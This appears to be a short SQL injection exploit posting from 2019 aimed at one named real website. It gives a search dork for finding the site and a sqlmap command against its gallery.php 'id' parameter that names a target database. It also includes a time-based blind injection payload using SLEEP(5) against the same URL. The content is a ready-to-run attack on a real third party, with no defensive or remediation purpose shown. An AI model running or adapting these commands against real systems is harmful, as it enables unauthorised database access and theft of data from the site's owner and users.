# Exploit Title:Architecture SQL Injection ------------------------------------------------------------------------------------------------------------------------------------------------- # Date:17.05.2019 ------------------------------------------------------------------------------------------------------------------------------------------------- # Dork :site:www.atelierdsync.com id= ------------------------------------------------------------------------------------------------------------------------------------------------- # Exploit Author:Cerkuday ------------------------------------------------------------------------------------------------------------------------------------------------- # Tested on:Windows &Kali Linux ////////////////////////////////////////////////////////////////////////// #Demo: http://www.atelierdsync.com/gallery.php?id=12 # Poc: sqlmap.py -u "http://www.atelierdsync.com/gallery.php?id=12" --random-agent -D livelkpq_atelier_dsync http://www.atelierdsync.com/gallery.php?id=12' AND SLEEP(5) AND 'XFuZ'='XFuZ